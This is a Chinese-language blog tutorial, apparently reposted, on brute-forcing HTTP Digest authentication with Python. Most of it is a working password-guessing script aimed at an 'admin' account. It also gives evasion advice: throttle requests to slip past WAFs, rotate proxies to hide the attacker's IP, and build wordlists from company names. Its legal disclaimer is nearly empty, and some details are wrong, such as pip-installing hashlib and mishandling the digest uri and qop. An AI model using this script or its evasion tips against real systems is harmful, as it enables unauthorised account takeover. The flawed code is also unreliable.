怎样使用Python对HTTP摘要认证进行暴力测试

发布时间:2021-10-11 17:31:16 作者:柒染
来源:亿速云 阅读:128
# 怎样使用Python对HTTP摘要认证进行暴力测试

## 前言

HTTP摘要认证(Digest Authentication)是一种比基本认证更安全的认证机制,它通过使用随机数和哈希算法来避免密码明文传输。然而,如果密码强度不足,仍然可能被暴力破解。本文将介绍如何使用Python对HTTP摘要认证进行暴力测试。

---

## 目录
1. [HTTP摘要认证简介](#http摘要认证简介)
2. [暴力测试原理](#暴力测试原理)
3. [Python实现步骤](#python实现步骤)
   - [3.1 安装依赖库](#31-安装依赖库)
   - [3.2 发送初始请求获取认证信息](#32-发送初始请求获取认证信息)
   - [3.3 解析WWW-Authenticate头部](#33-解析www-authenticate头部)
   - [3.4 生成认证响应](#34-生成认证响应)
   - [3.5 尝试密码组合](#35-尝试密码组合)
4. [完整代码示例](#完整代码示例)
5. [注意事项与优化建议](#注意事项与优化建议)
6. [法律与道德声明](#法律与道德声明)

---

## HTTP摘要认证简介

HTTP摘要认证的工作流程如下:
1. 客户端请求受保护资源。
2. 服务器返回`401 Unauthorized`,并在`WWW-Authenticate`头部中提供认证信息(如realm、nonce等)。
3. 客户端生成响应哈希(包含用户名、密码、nonce等),重新发送请求。
4. 服务器验证哈希,通过则返回资源。

相较于基本认证,摘要认证避免了密码明文传输,但若密码简单仍可能被暴力破解。

---

## 暴力测试原理

暴力测试的核心是**枚举可能的密码组合**,通过以下步骤验证:
1. 获取服务器的`nonce`和`realm`。
2. 根据RFC 2617规范生成正确的`response`哈希。
3. 发送包含猜测密码的请求,观察是否返回`200 OK`。

---

## Python实现步骤

### 3.1 安装依赖库
```bash
pip install requests httpx hashlib

3.2 发送初始请求获取认证信息

import requests

url = "http://example.com/protected"
response = requests.get(url, allow_redirects=False)
if response.status_code == 401:
    auth_header = response.headers.get('WWW-Authenticate', '')

3.3 解析WWW-Authenticate头部

使用正则表达式提取关键参数:

import re

pattern = re.compile(r'Digest realm="(.+?)", nonce="(.+?)", qop="(.+?)"')
match = pattern.search(auth_header)
realm, nonce, qop = match.groups()

3.4 生成认证响应

根据RFC 2617计算HA1HA2response

import hashlib

def generate_response(username, password, realm, nonce, uri, method="GET"):
    # HA1 = MD5(username:realm:password)
    ha1 = hashlib.md5(f"{username}:{realm}:{password}".encode()).hexdigest()
    # HA2 = MD5(method:uri)
    ha2 = hashlib.md5(f"{method}:{uri}".encode()).hexdigest()
    # response = MD5(HA1:nonce:HA2)
    return hashlib.md5(f"{ha1}:{nonce}:{ha2}".encode()).hexdigest()

3.5 尝试密码组合

从字典文件中读取密码并逐个尝试:

def brute_force(url, username, realm, nonce, password_list):
    for password in password_list:
        response_hash = generate_response(username, password, realm, nonce, url)
        headers = {
            "Authorization": f'Digest username="{username}", realm="{realm}", nonce="{nonce}", uri="{url}", response="{response_hash}"'
        }
        resp = requests.get(url, headers=headers)
        if resp.status_code == 200:
            print(f"Success! Password: {password}")
            return password
    return None

完整代码示例

import requests
import hashlib
import re

def brute_force_digest(url, username, password_file):
    # Step 1: Get auth challenge
    response = requests.get(url, allow_redirects=False)
    if response.status_code != 401:
        print("Target does not use Digest Auth")
        return

    # Step 2: Parse WWW-Authenticate
    auth_header = response.headers.get('WWW-Authenticate', '')
    pattern = re.compile(r'Digest realm="(.+?)", nonce="(.+?)",')
    realm, nonce = pattern.search(auth_header).groups()

    # Step 3: Load passwords
    with open(password_file) as f:
        passwords = [line.strip() for line in f]

    # Step 4: Brute force
    for password in passwords:
        ha1 = hashlib.md5(f"{username}:{realm}:{password}".encode()).hexdigest()
        ha2 = hashlib.md5(f"GET:{url}".encode()).hexdigest()
        response_hash = hashlib.md5(f"{ha1}:{nonce}:{ha2}".encode()).hexdigest()

        headers = {
            "Authorization": f'Digest username="{username}", realm="{realm}", nonce="{nonce}", uri="{url}", response="{response_hash}"'
        }
        resp = requests.get(url, headers=headers)
        if resp.status_code == 200:
            print(f"[+] Found password: {password}")
            break

if __name__ == "__main__":
    target_url = "http://vulnerable-site.com/admin"
    username = "admin"
    wordlist = "passwords.txt"
    brute_force_digest(target_url, username, wordlist)

注意事项与优化建议

  1. 性能优化
    • 使用多线程(concurrent.futures)加速测试。
    • 对常见密码哈希进行预计算。
  2. 隐蔽性
    • 设置请求延迟避免触发WAF。
    • 使用代理池隐藏IP。
  3. 字典质量
    • 优先尝试Top 1000常用密码。
    • 结合目标信息生成定制字典(如公司名+年份)。

法律与道德声明

通过本文,您已了解HTTP摘要认证的暴力测试原理及Python实现方法。请始终遵循合法合规的安全测试原则。 “`

注:实际运行时需替换示例中的URL、用户名和字典路径。完整实现可能需要处理更多RFC 2617定义的参数(如qopopaque等)。

推荐阅读:
  1. HTTP之基本认证
  2. Httpclient处理摘要认证

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

python http

上一篇:如何实现spring cloud各个服务共享session登录用户信息

下一篇:为什么C#最受欢迎

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》